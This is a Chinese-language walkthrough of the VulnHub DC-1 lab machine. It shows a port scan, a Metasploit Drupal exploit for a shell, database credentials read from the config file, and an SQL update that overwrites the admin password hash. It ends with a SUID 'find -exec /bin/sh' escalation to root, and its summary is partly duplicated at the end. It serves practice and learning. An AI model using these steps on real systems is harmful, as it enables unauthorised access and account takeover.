WP
vulnhub靶机渗透之DC-1
攻击环境
攻击机:10.0.10.125(kali)
靶机:10.0.10.166(vmbox)
信息收集
使用netdiscover探测出们的靶机,前提是kali要和靶机同一网段
使用nmap对靶机进行扫描
aaa@qq.com:~# nmap -sS 10.0.10.166
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-11 13:18 CST
Nmap scan report for 10.0.10.166
Host is up (0.00015s latency).
Not shown: 997 closed ports
PORTSTATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
开放了一个ssh的22端口,还有一个web80端口,还有一个111;我们先访问一下80端口,这是一个搭建服务器的界面,登陆注册的;简单查看页面上的内容,可以看到Powered by Drupal
,Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。
拿shell
既然知道网站框架是Drupal,那第一想法就是能不能用exp去攻击拿到shell;上msf
search Drupal
搜索关于Drupal模块的exp
随机挑选一个模块,设置好攻击于被攻击的ip和端口即可
set rhost ip --设置攻击目标ip
set rpost 端口号 --设置攻击目标端口
执行攻击,拿下shell
ls遍历后发现flag1.txt文件,cat之后看到里面有一段话,并不是我们的flag
Every good CMS needs a config file - and so do you.
翻译:每一个好的CMS都需要一个配置文件,你也一样;意思说要我们去找配置文件。Drupal的配置文件默认存放在 /var/www/sites/default/settings.php
cat之后发现flag2和数据库账号密码
usename:dbuser
passwd:R0ck3t
如果有同学是打不开数据库的那应该是没有用python反弹一个交互式shell,下面丢出命令:
python -c"import pty;pty.spawn('/bin/bash')"
这样就可以操作数据库了,执行数据库命令的时候在结尾必须加上;
先看看这个数据库有什么表 show databases;
就只有两个表,那还是直接搜索user字段吧:select * from user;
直接发现admin用户
接下来我们就把admin用户的密码改了,以方便我们登陆,命令直接在数据库中接着执行:
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where uid=1;
单引号中的字符串是由password经过sha-512加密得来的
提权
现在去网站页面登陆,用admin用户和我们刚修改好的密码,成功登陆后寻找发现flag3,是一段提示,提示我们通过suid提权,suid的提权的常见命令:nmap vim find bash more less nano cp,八个;在这里我们通过find命令提取。
测试find命令是否能提权
find / -type f -perm -u=s 2>/dev/null
/use/bin/find,通过这个我们可以知道find被设置为了suid权限位,现在我们通过touch新建一个文件,然后通过find…exec"…"查找文件并且执行命令拿到root权限。
cd /var/www --进入/var/www文件夹
touch 文件名 --新建一个文件
find / -name 文件名 -exec "whoami" \;
find / -name 文件名 -exec "/bin/sh" \;
成功提权!!
最终flag
一把抓出flag
总结
1:第一个难点就是操作数据库,会操作表等关于数据库的操作
2:我觉得是这个靶机的一个知识点,那就是通过find命令提权
3:SHA-512加解密的使用
4:靶机难度比较简单,但是需要细心和耐心,拿shell和提权均比较容易
是操作数据库,会操作表等关于数据库的操作
2:我觉得是这个靶机的一个知识点,那就是通过find命令提权
3:SHA-512加解密的使用
4:靶机难度比较简单,但是需要细心和耐心,拿shell和提权均比较容易